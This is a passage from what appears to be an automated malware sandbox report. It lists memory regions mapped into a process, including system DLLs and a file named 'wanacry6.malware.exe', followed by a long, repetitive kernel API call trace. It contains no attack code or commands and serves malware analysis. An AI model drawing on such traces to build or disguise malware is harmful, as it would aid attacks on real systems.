end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 9020 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 9021 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 9022 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 9023 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 9024 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 9025 start_va = 0xbd83820000 end_va = 0xbd838effff entry_point = 0x0 region_type = private name = "private_0x000000bd83820000" filename = "" Region: id = 9026 start_va = 0xbd83820000 end_va = 0xbd83826fff entry_point = 0x0 region_type = private name = "private_0x000000bd83820000" filename = "" Region: id = 9027 start_va = 0xbd838e0000 end_va = 0xbd838effff entry_point = 0x0 region_type = private name = "private_0x000000bd838e0000" filename = "" Region: id = 9028 start_va = 0xbd83830000 end_va = 0xbd83863fff entry_point = 0xbd83831030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 9029 start_va = 0xbd83d80000 end_va = 0xbd83f07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd83d80000" filename = "" Region: id = 9030 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 9031 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 9032 start_va = 0xbd83f10000 end_va = 0xbd84090fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd83f10000" filename = "" Region: id = 9033 start_va = 0xbd840a0000 end_va = 0xbd8549ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd840a0000" filename = "" Region: id = 9034 start_va = 0xbd83830000 end_va = 0xbd83830fff entry_point = 0x0 region_type = private name = "private_0x000000bd83830000" filename = "" Region: id = 9035 start_va = 0xbd83840000 end_va = 0xbd83840fff entry_point = 0x0 region_type = private name = "private_0x000000bd83840000" filename = "" Region: id = 9036 start_va = 0xbd83850000 end_va = 0xbd83850fff entry_point = 0xbd83850000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 9037 start_va = 0xbd83860000 end_va = 0xbd83861fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd83860000" filename = "" Region: id = 9038 start_va = 0xbd83870000 end_va = 0xbd8388ffff entry_point = 0x0 region_type = private name = "private_0x000000bd83870000" filename = "" Region: id = 9039 start_va = 0xbd854a0000 end_va = 0xbd85559fff entry_point = 0xbd854cc768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 9040 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 9041 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 9042 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 9043 start_va = 0xbd83850000 end_va = 0xbd83850fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd83850000" filename = "" Region: id = 9044 start_va = 0xbd854a0000 end_va = 0xbd8558ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd854a0000" filename = "" Region: id = 9045 start_va = 0xbd83850000 end_va = 0xbd83853fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd83850000" filename = "" Region: id = 9046 start_va = 0xbd83870000 end_va = 0xbd83876fff entry_point = 0x0 region_type = private name = "private_0x000000bd83870000" filename = "" Region: id = 9047 start_va = 0xbd83880000 end_va = 0xbd8388ffff entry_point = 0x0 region_type = private name = "private_0x000000bd83880000" filename = "" Region: id = 9048 start_va = 0xbd85590000 end_va = 0xbd8568ffff entry_point = 0x0 region_type = private name = "private_0x000000bd85590000" filename = "" Region: id = 9049 start_va = 0xbd85690000 end_va = 0xbd85790fff entry_point = 0xbd856bfa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 9050 start_va = 0xbd83890000 end_va = 0xbd83890fff entry_point = 0x0 region_type = private name = "private_0x000000bd83890000" filename = "" Region: id = 9051 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 9052 start_va = 0xbd85690000 end_va = 0xbd85964fff entry_point = 0xbd85690000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 9053 start_va = 0xbd838a0000 end_va = 0xbd838a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd838a0000" filename = "" Region: id = 9054 start_va = 0xbd838a0000 end_va = 0xbd838a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd838a0000" filename = "" Region: id = 9055 start_va = 0xbd838b0000 end_va = 0xbd838b0fff entry_point = 0x0 region_type = private name = "private_0x000000bd838b0000" filename = "" Region: id = 9056 start_va = 0xbd85970000 end_va = 0xbd85e61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd85970000" filename = "" Region: id = 9057 start_va = 0xbd85e70000 end_va = 0xbd86cdffff entry_point = 0xbd85e70000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 9058 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9059 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9060 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9061 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9062 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9063 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9064 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9065 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9066 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9067 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9068 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9069 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9070 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9071 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9072 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9073 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9074 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9075 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9076 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9077 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9078 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9079 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9080 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9081 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9082 start_va = 0xbd838c0000 end_va = 0xbd838c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd838c0000" filename = "" Region: id = 9083 start_va = 0xbd86ce0000 end_va = 0xbd86ef7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd86ce0000" filename = "" Region: id = 9174 start_va = 0xbd838c0000 end_va = 0xbd838c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd838c0000" filename = "" Region: id = 9175 start_va = 0xbd838d0000 end_va = 0xbd838d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd838d0000" filename = "" Region: id = 9176 start_va = 0xbd838f0000 end_va = 0xbd83933fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd838f0000" filename = "" Region: id = 9177 start_va = 0xbd86f00000 end_va = 0xbd89d95fff entry_point = 0xbd86f00000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 9178 start_va = 0xbd89da0000 end_va = 0xbd8a199fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd89da0000" filename = "" Region: id = 9179 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9180 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9181 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 9182 start_va = 0xbd8a1a0000 end_va = 0xbd8a2a2fff entry_point = 0x0 region_type = private name = "private_0x000000bd8a1a0000" filename = "" Thread: id = 824 os_tid = 0x9cc [0131.258] EngAllocMem () returned 0xfffff9014251f030 [0131.258] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.258] MmMapViewOfSection (in: SectionObject=0xffffc000014c5ac0, Process=0xffffe0000137f900, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000209f2ed0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014251f358*=0xbd86ce0000, SectionOffset=0xffffd000209f2ed0, ViewSize=0xfffff9014251f370) returned 0x0 [0131.259] EngCreateBitmap () returned 0xffffffff92050660 [0131.259] EngAssociateSurface () returned 0x1 [0131.259] EngLockSurface () returned 0xfffff901409b2658 [0131.259] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00001127c40 [0131.259] KeInitializeEvent (in: Event=0xffffe00001127c58, Type=0x1, State=0 | out: Event=0xffffe00001127c58) [0131.259] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.265] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0131.280] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.280] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.280] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.282] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.282] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.282] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.282] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.282] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.282] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.282] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.282] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.282] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.282] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.282] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.282] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.282] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.289] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.289] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.290] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.290] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.290] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.290] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.290] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.290] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.290] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.291] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.291] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.291] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.291] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.291] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.291] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.291] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.292] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.292] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.292] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.292] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.293] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.293] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.293] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.293] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.293] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.293] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.294] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.294] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.294] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.294] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.294] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.294] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.295] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.295] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.295] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.295] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.295] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.295] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.295] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.295] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.295] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.295] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.295] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.295] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.295] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.295] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.295] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.295] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.295] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.296] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.296] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.296] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.296] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.296] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.296] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.296] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.296] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.317] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.318] 